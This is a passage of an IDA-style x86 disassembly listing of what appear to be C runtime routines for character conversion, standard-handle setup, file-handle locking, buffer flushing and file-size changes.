cmp [eax+14h], ebx
jnz short loc_419C39
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_419C28
movzx cx, byte ptr [esi]
mov [eax], cx
loc_419C28: ; CODE XREF: sub_419BDD+42j
; sub_419BDD+10Bj
cmp [ebp+var_4], bl
jz short loc_419C34
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_419C34: ; CODE XREF: sub_419BDD+4Ej
xor eax, eax
inc eax
jmp short loc_419C03
; ---------------------------------------------------------------------------
loc_419C39: ; CODE XREF: sub_419BDD+3Bj
lea eax, [ebp+var_10]
push eax
movzx eax, byte ptr [esi]
push eax
call sub_413988
test eax, eax
pop ecx
pop ecx
jz short loc_419CC9
mov eax, [ebp+var_10]
mov ecx, [eax+0ACh]
cmp ecx, 1
jle short loc_419C7F
cmp [ebp+arg_8], ecx
jl short loc_419C7F
xor edx, edx
cmp [ebp+arg_0], ebx
setnz dl
push edx
push [ebp+arg_0]
push ecx
push esi
push 9
push dword ptr [eax+4]
call dword_41C174 ; MultiByteToWideChar
test eax, eax
mov eax, [ebp+var_10]
jnz short loc_419C8F
loc_419C7F: ; CODE XREF: sub_419BDD+7Bj
; sub_419BDD+80j
mov ecx, [ebp+arg_8]
cmp ecx, [eax+0ACh]
jb short loc_419CAA
cmp [esi+1], bl
jz short loc_419CAA
loc_419C8F: ; CODE XREF: sub_419BDD+A0j
cmp [ebp+var_4], bl
mov eax, [eax+0ACh]
jz loc_419C03
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
jmp loc_419C03
; ---------------------------------------------------------------------------
loc_419CAA: ; CODE XREF: sub_419BDD+ABj
; sub_419BDD+B0j ...
call sub_40F79E
mov dword ptr [eax], 2Ah
cmp [ebp+var_4], bl
jz short loc_419CC1
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_419CC1: ; CODE XREF: sub_419BDD+DBj
or eax, 0FFFFFFFFh
jmp loc_419C03
; ---------------------------------------------------------------------------
loc_419CC9: ; CODE XREF: sub_419BDD+6Dj
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
mov eax, [ebp+var_10]
push 1
push esi
push 9
push dword ptr [eax+4]
call dword_41C174 ; MultiByteToWideChar
test eax, eax
jnz loc_419C28
jmp short loc_419CAA
sub_419BDD endp
; =============== S U B R O U T I N E =======================================
sub_419CF0 proc near ; CODE XREF: sub_41440F+18Ep
; sub_41440F+1BCp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_419BDD
add esp, 10h
retn
sub_419CF0 endp
; =============== S U B R O U T I N E =======================================
sub_419D07 proc near ; CODE XREF: sub_418D2B+2BBp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
test eax, eax
push esi
push edi
jl short loc_419D6B
cmp eax, dword_424EC8
jnb short loc_419D6B
mov esi, eax
and esi, 1Fh
imul esi, 28h
mov ecx, eax
sar ecx, 5
lea edi, ds:424EE0h[ecx*4]
mov ecx, [edi]
cmp dword ptr [esi+ecx], 0FFFFFFFFh
jnz short loc_419D6B
cmp dword_4231A0, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_419D61
sub eax, 0
jz short loc_419D58
dec eax
jz short loc_419D53
dec eax
jnz short loc_419D61
push ebx
push 0FFFFFFF4h
jmp short loc_419D5B
; ---------------------------------------------------------------------------
loc_419D53: ; CODE XREF: sub_419D07+42j
push ebx
push 0FFFFFFF5h
jmp short loc_419D5B
; ---------------------------------------------------------------------------
loc_419D58: ; CODE XREF: sub_419D07+3Fj
push ebx
push 0FFFFFFF6h
loc_419D5B: ; CODE XREF: sub_419D07+4Aj
; sub_419D07+4Fj
call dword_41C078 ; SetStdHandle
loc_419D61: ; CODE XREF: sub_419D07+3Aj
; sub_419D07+45j
mov eax, [edi]
mov [esi+eax], ebx
xor eax, eax
pop ebx
jmp short loc_419D81
; ---------------------------------------------------------------------------
loc_419D6B: ; CODE XREF: sub_419D07+8j
; sub_419D07+10j ...
call sub_40F79E
mov dword ptr [eax], 9
call sub_40F7B1
and dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_419D81: ; CODE XREF: sub_419D07+62j
pop edi
pop esi
retn
sub_419D07 endp
; =============== S U B R O U T I N E =======================================
sub_419D84 proc near ; CODE XREF: sub_414C65+62p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push ebx
xor ebx, ebx
cmp ecx, ebx
push esi
push edi
jl short loc_419DEC
cmp ecx, dword_424EC8
jnb short loc_419DEC
mov esi, ecx
and esi, 1Fh
imul esi, 28h
mov eax, ecx
sar eax, 5
lea edi, ds:424EE0h[eax*4]
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_419DEC
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_419DEC
cmp dword_4231A0, 1
jnz short loc_419DE2
sub ecx, ebx
jz short loc_419DD9
dec ecx
jz short loc_419DD4
dec ecx
jnz short loc_419DE2
push ebx
push 0FFFFFFF4h
jmp short loc_419DDC
; ---------------------------------------------------------------------------
loc_419DD4: ; CODE XREF: sub_419D84+46j
push ebx
push 0FFFFFFF5h
jmp short loc_419DDC
; ---------------------------------------------------------------------------
loc_419DD9: ; CODE XREF: sub_419D84+43j
push ebx
push 0FFFFFFF6h
loc_419DDC: ; CODE XREF: sub_419D84+4Ej
; sub_419D84+53j
call dword_41C078 ; SetStdHandle
loc_419DE2: ; CODE XREF: sub_419D84+3Fj
; sub_419D84+49j
mov eax, [edi]
or dword ptr [esi+eax], 0FFFFFFFFh
xor eax, eax
jmp short loc_419E01
; ---------------------------------------------------------------------------
loc_419DEC: ; CODE XREF: sub_419D84+Bj
; sub_419D84+13j ...
call sub_40F79E
mov dword ptr [eax], 9
call sub_40F7B1
mov [eax], ebx
or eax, 0FFFFFFFFh
loc_419E01: ; CODE XREF: sub_419D84+66j
pop edi
pop esi
pop ebx
retn
sub_419D84 endp
; =============== S U B R O U T I N E =======================================
sub_419E05 proc near ; CODE XREF: sub_414C65+7p
; sub_414C65+2Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 0FFFFFFFEh
jnz short loc_419E25
call sub_40F7B1
and dword ptr [eax], 0
call sub_40F79E
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_419E25: ; CODE XREF: sub_419E05+7j
push esi
xor esi, esi
cmp eax, esi
jl short loc_419E4E
cmp eax, dword_424EC8
jnb short loc_419E4E
mov ecx, eax
and eax, 1Fh
imul eax, 28h
sar ecx, 5
mov ecx, dword_424EE0[ecx*4]
add eax, ecx
test byte ptr [eax+4], 1
jnz short loc_419E72
loc_419E4E: ; CODE XREF: sub_419E05+25j
; sub_419E05+2Dj
call sub_40F7B1
mov [eax], esi
call sub_40F79E
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 9
call sub_40DCD8
add esp, 14h
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_419E72: ; CODE XREF: sub_419E05+47j
mov eax, [eax]
pop esi
retn
sub_419E05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E76 proc near ; CODE XREF: sub_4149D5+7Fp
; sub_414CF9+7Fp ...
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 0Ch
push offset dword_41FDF8
call __SEH_prolog4
mov edi, [ebp+arg_0]
mov eax, edi
sar eax, 5
mov esi, edi
and esi, 1Fh
imul esi, 28h
add esi, dword_424EE0[eax*4]
mov [ebp+var_1C], 1
xor ebx, ebx
cmp [esi+8], ebx
jnz short loc_419EDD
push 0Ah
call sub_416DA6
pop ecx
mov [ebp+ms_exc.disabled], ebx
cmp [esi+8], ebx
jnz short loc_419ED1
push 0FA0h
lea eax, [esi+0Ch]
push eax
call sub_4182CC
pop ecx
pop ecx
test eax, eax
jnz short loc_419ECE
mov [ebp+var_1C], ebx
loc_419ECE: ; CODE XREF: sub_419E76+53j
inc dword ptr [esi+8]
loc_419ED1: ; CODE XREF: sub_419E76+3Fj
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_419F0D
loc_419EDD: ; CODE XREF: sub_419E76+2Fj
cmp [ebp+var_1C], ebx
jz short loc_419EFF
mov eax, edi
sar eax, 5
and edi, 1Fh
imul edi, 28h
mov eax, dword_424EE0[eax*4]
lea eax, [eax+edi+0Ch]
push eax
call dword_41C070 ; RtlEnterCriticalSection
loc_419EFF: ; CODE XREF: sub_419E76+6Aj
mov eax, [ebp+var_1C]
call __SEH_epilog4
retn
sub_419E76 endp
; =============== S U B R O U T I N E =======================================
sub_419F08 proc near ; DATA XREF: .vty:0041FE10o
xor ebx, ebx
mov edi, [ebp+8]
sub_419F08 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_419F0D proc near ; CODE XREF: sub_419E76+62p
push 0Ah
call sub_416CCE
pop ecx
retn
sub_419F0D endp
; =============== S U B R O U T I N E =======================================
sub_419F16 proc near ; CODE XREF: sub_414AA7+3p
; sub_414DBC+3p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, eax
and eax, 1Fh
imul eax, 28h
sar ecx, 5
mov ecx, dword_424EE0[ecx*4]
lea eax, [ecx+eax+0Ch]
push eax
call dword_41C06C ; RtlLeaveCriticalSection
retn
sub_419F16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419F38 proc near ; CODE XREF: sub_418D2B:loc_418F21p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
; FUNCTION CHUNK AT 0041A014 SIZE 000000BA BYTES
push 18h
push offset dword_41FE18
call __SEH_prolog4
or [ebp+var_1C], 0FFFFFFFFh
xor edi, edi
mov [ebp+var_24], edi
push 0Bh
call sub_416CE3
pop ecx
test eax, eax
jnz short loc_419F61
or eax, 0FFFFFFFFh
jmp loc_41A0C8
; ---------------------------------------------------------------------------
loc_419F61: ; CODE XREF: sub_419F38+1Fj
push 0Bh
call sub_416DA6
pop ecx
mov [ebp+ms_exc.disabled], edi
loc_419F6C: ; CODE XREF: sub_419F38+109j
mov [ebp+var_28], edi
cmp edi, 40h
jge loc_41A0B9
mov esi, dword_424EE0[edi*4]
test esi, esi
jz loc_41A046
loc_419F87: ; CODE XREF: sub_419F38+CBj
mov [ebp+var_20], esi
mov eax, dword_424EE0[edi*4]
add eax, 500h
cmp esi, eax
jnb loc_41A03A
test byte ptr [esi+4], 1
jnz short loc_41A000
cmp dword ptr [esi+8], 0
jnz short loc_419FE3
push 0Ah
call sub_416DA6
pop ecx
xor ebx, ebx
inc ebx
mov [ebp+ms_exc.disabled], ebx
cmp dword ptr [esi+8], 0
jnz short loc_419FDA
push 0FA0h
lea eax, [esi+0Ch]
push eax
call sub_4182CC
pop ecx
pop ecx
test eax, eax
jnz short loc_419FD7
mov [ebp+var_24], ebx
jmp short loc_419FDA
; ---------------------------------------------------------------------------
loc_419FD7: ; CODE XREF: sub_419F38+98j
inc dword ptr [esi+8]
loc_419FDA: ; CODE XREF: sub_419F38+84j
; sub_419F38+9Dj
and [ebp+ms_exc.disabled], 0
call sub_41A00B
loc_419FE3: ; CODE XREF: sub_419F38+70j
cmp [ebp+var_24], 0
jnz short loc_41A000
lea ebx, [esi+0Ch]
push ebx
call dword_41C070 ; RtlEnterCriticalSection
test byte ptr [esi+4], 1
jz short loc_41A014
push ebx
call dword_41C06C ; RtlLeaveCriticalSection
loc_41A000: ; CODE XREF: sub_419F38+6Aj
; sub_419F38+AFj ...
add esi, 28h
jmp short loc_419F87
sub_419F38 endp
; =============== S U B R O U T I N E =======================================
sub_41A005 proc near ; DATA XREF: .vty:0041FE3Co
mov edi, [ebp-28h]
mov esi, [ebp-20h]
sub_41A005 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41A00B proc near ; CODE XREF: sub_419F38+A6p
push 0Ah
call sub_416CCE
pop ecx
retn
sub_41A00B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_419F38
loc_41A014: ; CODE XREF: sub_419F38+BFj
cmp [ebp+var_24], 0
jnz short loc_41A000
mov byte ptr [esi+4], 1
or dword ptr [esi], 0FFFFFFFFh
mov eax, esi
sub eax, dword_424EE0[edi*4]
cdq
push 28h
pop ecx
idiv ecx
mov ecx, edi
shl ecx, 5
add eax, ecx
mov [ebp+var_1C], eax
loc_41A03A: ; CODE XREF: sub_419F38+60j
cmp [ebp+var_1C], 0FFFFFFFFh
jnz short loc_41A0B9
inc edi
jmp loc_419F6C
; ---------------------------------------------------------------------------
loc_41A046: ; CODE XREF: sub_419F38+49j
push 28h
push 20h
call sub_412363
pop ecx
pop ecx
mov [ebp+var_20], eax
test eax, eax
jz short loc_41A0B9
lea ecx, ds:424EE0h[edi*4]
mov [ecx], eax
add dword_424EC8, 20h
loc_41A068: ; CODE XREF: sub_419F38+151j
mov edx, [ecx]
add edx, 500h
cmp eax, edx
jnb short loc_41A08B
mov byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
and dword ptr [eax+8], 0
add eax, 28h
mov [ebp+var_20], eax
jmp short loc_41A068
; ---------------------------------------------------------------------------
loc_41A08B: ; CODE XREF: sub_419F38+13Aj
shl edi, 5
mov [ebp+var_1C], edi
mov eax, edi
sar eax, 5
mov ecx, edi
and ecx, 1Fh
imul ecx, 28h
mov eax, dword_424EE0[eax*4]
mov byte ptr [eax+ecx+4], 1
push edi
call sub_419E76
pop ecx
test eax, eax
jnz short loc_41A0B9
or [ebp+var_1C], 0FFFFFFFFh
loc_41A0B9: ; CODE XREF: sub_419F38+3Aj
; sub_419F38+106j ...
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_41A0CE
mov eax, [ebp+var_1C]
loc_41A0C8: ; CODE XREF: sub_419F38+24j
call __SEH_epilog4
retn
; END OF FUNCTION CHUNK FOR sub_419F38
; =============== S U B R O U T I N E =======================================
sub_41A0CE proc near ; CODE XREF: sub_419F38+188p
; DATA XREF: .vty:0041FE30o
push 0Bh
call sub_416CCE
pop ecx
retn
sub_41A0CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A0D7 proc near ; CODE XREF: sub_414B40+31p
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 10h
push offset dword_41FE40
call __SEH_prolog4
mov eax, [ebp+arg_0]
cmp eax, 0FFFFFFFEh
jnz short loc_41A0FE
call sub_40F79E
mov dword ptr [eax], 9
loc_41A0F6: ; CODE XREF: sub_41A0D7+4Dj
or eax, 0FFFFFFFFh
jmp loc_41A1A8
; ---------------------------------------------------------------------------
loc_41A0FE: ; CODE XREF: sub_41A0D7+12j
xor ebx, ebx
cmp eax, ebx
jl short loc_41A10C
cmp eax, dword_424EC8
jb short loc_41A126
loc_41A10C: ; CODE XREF: sub_41A0D7+2Bj
; sub_41A0D7+6Dj
call sub_40F79E
mov dword ptr [eax], 9
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40DCD8
add esp, 14h
jmp short loc_41A0F6
; ---------------------------------------------------------------------------
loc_41A126: ; CODE XREF: sub_41A0D7+33j
mov ecx, eax
sar ecx, 5
lea edi, ds:424EE0h[ecx*4]
mov esi, eax
and esi, 1Fh
imul esi, 28h
mov ecx, [edi]
movzx ecx, byte ptr [esi+ecx+4]
and ecx, 1
jz short loc_41A10C
push eax
call sub_419E76
pop ecx
mov [ebp+ms_exc.disabled], ebx
mov eax, [edi]
test byte ptr [esi+eax+4], 1
jz short loc_41A18A
push [ebp+arg_0]
call sub_419E05
pop ecx
push eax
call dword_41C0F4 ; FlushFileBuffers
test eax, eax
jnz short loc_41A178
call dword_41C0A4 ; RtlGetLastWin32Error
mov [ebp+var_1C], eax
jmp short loc_41A17B
; ---------------------------------------------------------------------------
loc_41A178: ; CODE XREF: sub_41A0D7+94j
mov [ebp+var_1C], ebx
loc_41A17B: ; CODE XREF: sub_41A0D7+9Fj
cmp [ebp+var_1C], ebx
jz short loc_41A199
call sub_40F7B1
mov ecx, [ebp+var_1C]
mov [eax], ecx
loc_41A18A: ; CODE XREF: sub_41A0D7+80j
call sub_40F79E
mov dword ptr [eax], 9
or [ebp+var_1C], 0FFFFFFFFh
loc_41A199: ; CODE XREF: sub_41A0D7+A7j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_41A1AE
mov eax, [ebp+var_1C]
loc_41A1A8: ; CODE XREF: sub_41A0D7+22j
call __SEH_epilog4
retn
sub_41A0D7 endp
; =============== S U B R O U T I N E =======================================
sub_41A1AE proc near ; CODE XREF: sub_41A0D7+C9p
; DATA XREF: .vty:0041FE58o
push dword ptr [ebp+8]
call sub_419F16
pop ecx
retn
sub_41A1AE endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [esp+8]
mov ecx, [esp+10h]
or ecx, eax
mov ecx, [esp+0Ch]
jnz short loc_41A1D9
mov eax, [esp+4]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41A1D9: ; CODE XREF: .vty:0041A1CEj
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+8]
mul dword ptr [esp+14h]
add ebx, eax
mov eax, [esp+8]
mul ecx
add edx, ebx
pop ebx
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A1F4 proc near ; CODE XREF: sub_41A245+Ap
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
push [ebp+arg_0]
lea ecx, [ebp+var_10]
call sub_40F7E2
movzx eax, [ebp+arg_4]
mov ecx, [ebp+var_C]
mov dl, [ebp+arg_C]
test [ecx+eax+1Dh], dl
jnz short loc_41A233
cmp [ebp+arg_8], 0
jz short loc_41A22D
mov ecx, [ebp+var_10]
mov ecx, [ecx+0C8h]
movzx eax, word ptr [ecx+eax*2]
and eax, [ebp+arg_8]
jmp short loc_41A22F
; ---------------------------------------------------------------------------
loc_41A22D: ; CODE XREF: sub_41A1F4+25j
xor eax, eax
loc_41A22F: ; CODE XREF: sub_41A1F4+37j
test eax, eax
jz short loc_41A236
loc_41A233: ; CODE XREF: sub_41A1F4+1Fj
xor eax, eax
inc eax
loc_41A236: ; CODE XREF: sub_41A1F4+3Dj
cmp [ebp+var_4], 0
jz short locret_41A243
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
locret_41A243: ; CODE XREF: sub_41A1F4+46j
leave
retn
sub_41A1F4 endp
; =============== S U B R O U T I N E =======================================
sub_41A245 proc near ; CODE XREF: sub_41547E+3Fp
; sub_4155B6+53p ...
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
push 0
call sub_41A1F4
add esp, 10h
retn
sub_41A245 endp
; =============== S U B R O U T I N E =======================================
sub_41A258 proc near ; CODE XREF: sub_415D0D+56p
; sub_416288+59p ...
arg_0 = dword ptr 4
xor eax, eax
inc eax
cmp [esp+arg_0], 0
jnz short locret_41A264
xor eax, eax
locret_41A264: ; CODE XREF: sub_41A258+8j
retn
sub_41A258 endp
; =============== S U B R O U T I N E =======================================
sub_41A265 proc near ; DATA XREF: .vty:off_423DF8o
; .vty:00423DFCo ...
push 2
call sub_412499
pop ecx
retn
sub_41A265 endp
; =============== S U B R O U T I N E =======================================
sub_41A26E proc near ; CODE XREF: sub_41A2A3+86p
; sub_41A376+39j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push edi
loc_41A278: ; CODE XREF: sub_41A26E+2Ej
movzx eax, byte ptr [esi]
lea ecx, [eax-41h]
inc esi
cmp ecx, 19h
ja short loc_41A287
add eax, 20h
loc_41A287: ; CODE XREF: sub_41A26E+14j
movzx ecx, byte ptr [edx]
lea edi, [ecx-41h]
inc edx
cmp edi, 19h
ja short loc_41A296
add ecx, 20h
loc_41A296: ; CODE XREF: sub_41A26E+23j
test eax, eax
jz short loc_41A29E
cmp eax, ecx
jz short loc_41A278
loc_41A29E: ; CODE XREF: sub_41A26E+2Aj
pop edi
sub eax, ecx
pop esi
retn
sub_41A26E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A2A3 proc near ; CODE XREF: sub_419453+8Fp
; sub_41A376+45p
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push [ebp+arg_8]
lea ecx, [ebp+var_10]
call sub_40F7E2
xor ebx, ebx
cmp [ebp+arg_0], ebx
jnz short loc_41A2EA
call sub_40F79E
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
cmp [ebp+var_4], bl
jz short loc_41A2E0
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_41A2E0: ; CODE XREF: sub_41A2A3+34j
mov eax, 7FFFFFFFh
jmp loc_41A373
; ---------------------------------------------------------------------------
loc_41A2EA: ; CODE XREF: sub_41A2A3+17j
push edi
mov edi, [ebp+arg_4]
cmp edi, ebx
jnz short loc_41A31D
call sub_40F79E
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
cmp [ebp+var_4], bl
jz short loc_41A316
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_41A316: ; CODE XREF: sub_41A2A3+6Aj
mov eax, 7FFFFFFFh
jmp short loc_41A372
; ---------------------------------------------------------------------------
loc_41A31D: ; CODE XREF: sub_41A2A3+4Dj
mov eax, [ebp+var_10]
cmp [eax+14h], ebx
jnz short loc_41A332
push edi
push [ebp+arg_0]
call sub_41A26E
pop ecx
pop ecx
jmp short loc_41A366
; ---------------------------------------------------------------------------
loc_41A332: ; CODE XREF: sub_41A2A3+80j
push esi
loc_41A333: ; CODE XREF: sub_41A2A3+BCj
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax]
lea ecx, [ebp+var_10]
push ecx
push eax
call sub_40F864
inc [ebp+arg_0]
mov esi, eax
movzx eax, byte ptr [edi]
lea ecx, [ebp+var_10]
push ecx
push eax
call sub_40F864
add esp, 10h
inc edi
cmp esi, ebx
jz short loc_41A361
cmp esi, eax
jz short loc_41A333
loc_41A361: ; CODE XREF: sub_41A2A3+B8j
sub esi, eax
mov eax, esi
pop esi
loc_41A366: ; CODE XREF: sub_41A2A3+8Dj
cmp [ebp+var_4], bl
jz short loc_41A372
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
loc_41A372: ; CODE XREF: sub_41A2A3+78j
; sub_41A2A3+C6j
pop edi
loc_41A373: ; CODE XREF: sub_41A2A3+42j
pop ebx
leave
retn
sub_41A2A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A376 proc near ; CODE XREF: sub_4047AC+FDp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword_424424, esi
jnz short loc_41A3B4
cmp [ebp+arg_0], esi
jnz short loc_41A3A8
loc_41A389: ; CODE XREF: sub_41A376+35j
call sub_40F79E
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
mov eax, 7FFFFFFFh
jmp short loc_41A3C3
; ---------------------------------------------------------------------------
loc_41A3A8: ; CODE XREF: sub_41A376+11j
cmp [ebp+arg_4], esi
jz short loc_41A389
pop esi
pop ebp
jmp sub_41A26E
; ---------------------------------------------------------------------------
loc_41A3B4: ; CODE XREF: sub_41A376+Cj
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41A2A3
add esp, 0Ch
loc_41A3C3: ; CODE XREF: sub_41A376+30j
pop esi
pop ebp
retn
sub_41A376 endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_418C60
loc_41A3D0: ; CODE XREF: sub_418C60+11j
; .vty:00418C87j
push ecx
lea ecx, [esp+4]
sub ecx, eax
sbb eax, eax
not eax
and ecx, eax
mov eax, esp
and eax, 0FFFFF000h
loc_41A3E4: ; CODE XREF: sub_418C60+1799j
cmp ecx, eax
jb short loc_41A3F2
mov eax, ecx
pop ecx
xchg eax, esp
mov eax, [eax]
mov [esp+0], eax
retn
; ---------------------------------------------------------------------------
loc_41A3F2: ; CODE XREF: sub_418C60+1786j
sub eax, 1000h
test [eax], eax
jmp short loc_41A3E4
; END OF FUNCTION CHUNK FOR sub_418C60
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A3FB proc near ; CODE XREF: sub_418D2B+36Fp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
xor ebx, ebx
push 1
push ebx
push ebx
push [ebp+arg_0]
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
call sub_4178D6
mov [ebp+var_18], eax
and eax, edx
add esp, 10h
cmp eax, 0FFFFFFFFh
mov [ebp+var_14], edx
jz short loc_41A481
push 2
push ebx
push ebx
push [ebp+arg_0]
call sub_4178D6
mov ecx, eax
and ecx, edx
add esp, 10h
cmp ecx, 0FFFFFFFFh
jz short loc_41A481
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_8]
sub esi, eax
sbb edi, edx
js loc_41A516
jg short loc_41A45A
cmp esi, ebx
jbe loc_41A516
loc_41A45A: ; CODE XREF: sub_41A3FB+55j
mov ebx, 1000h
push ebx
push 8
call dword_41C134 ; GetProcessHeap
push eax
call dword_41C130 ; RtlAllocateHeap
test eax, eax
mov [ebp+var_4], eax
jnz short loc_41A48D
call sub_40F79E
mov dword ptr [eax], 0Ch
loc_41A481: ; CODE XREF: sub_41A3FB+2Bj
; sub_41A3FB+43j ...
call sub_40F79E
mov eax, [eax]
loc_41A488: ; CODE XREF: sub_41A3FB+1AFj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41A48D: ; CODE XREF: sub_41A3FB+79j
push 8000h
push [ebp+arg_0]
call sub_41ABC3
pop ecx
pop ecx
mov [ebp+var_8], eax
loc_41A49F: ; CODE XREF: sub_41A3FB+CFj
; sub_41A3FB+D3j
test edi, edi
jl short loc_41A4AD
jg short loc_41A4A9
cmp esi, ebx
jb short loc_41A4AD
loc_41A4A9: ; CODE XREF: sub_41A3FB+A8j
mov eax, ebx
jmp short loc_41A4AF
; ---------------------------------------------------------------------------
loc_41A4AD: ; CODE XREF: sub_41A3FB+A6j
; sub_41A3FB+ACj
mov eax, esi
loc_41A4AF: ; CODE XREF: sub_41A3FB+B0j
push eax
push [ebp+var_4]
push [ebp+arg_0]
call sub_41440F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41A4F9
cdq
sub esi, eax
sbb edi, edx
js short loc_41A4D0
jg short loc_41A49F
test esi, esi
ja short loc_41A49F
loc_41A4D0: ; CODE XREF: sub_41A3FB+CDj
mov esi, [ebp+var_10]
loc_41A4D3: ; CODE XREF: sub_41A3FB+119j
push [ebp+var_8]
push [ebp+arg_0]
call sub_41ABC3
pop ecx
pop ecx
push [ebp+var_4]
push 0
call dword_41C134 ; GetProcessHeap
push eax
call dword_41C12C ; RtlFreeHeap
xor ebx, ebx
jmp loc_41A57F
; ---------------------------------------------------------------------------
loc_41A4F9: ; CODE XREF: sub_41A3FB+C6j
call sub_40F7B1
cmp dword ptr [eax], 5
jnz short loc_41A50E
call sub_40F79E
mov dword ptr [eax], 0Dh
loc_41A50E: ; CODE XREF: sub_41A3FB+106j
or esi, 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41A4D3
; ---------------------------------------------------------------------------
loc_41A516: ; CODE XREF: sub_41A3FB+4Fj
; sub_41A3FB+59j
cmp edi, ebx
jg short loc_41A58B
jl short loc_41A520
cmp esi, ebx
jnb short loc_41A58B
loc_41A520: ; CODE XREF: sub_41A3FB+11Fj
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4178D6
and eax, edx
add esp, 10h
cmp eax, 0FFFFFFFFh
jz loc_41A481
push [ebp+arg_0]
call sub_419E05
pop ecx
push eax
call dword_41C0F8 ; SetEndOfFile
neg eax
sbb eax, eax
neg eax
dec eax
cdq
mov [ebp+var_10], eax
and eax, edx
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], edx
jnz short loc_41A58B
call sub_40F79E
mov dword ptr [eax], 0Dh
call sub_40F7B1
mov esi, eax
call dword_41C0A4 ; RtlGetLastWin32Error
mov [esi], eax
mov esi, [ebp+var_10]
loc_41A57F: ; CODE XREF: sub_41A3FB+F9j
and esi, [ebp+var_C]
cmp esi, 0FFFFFFFFh
jz loc_41A481
loc_41A58B: ; CODE XREF: sub_41A3FB+11Dj
; sub_41A3FB+123j ...
push ebx
push [ebp+var_14]
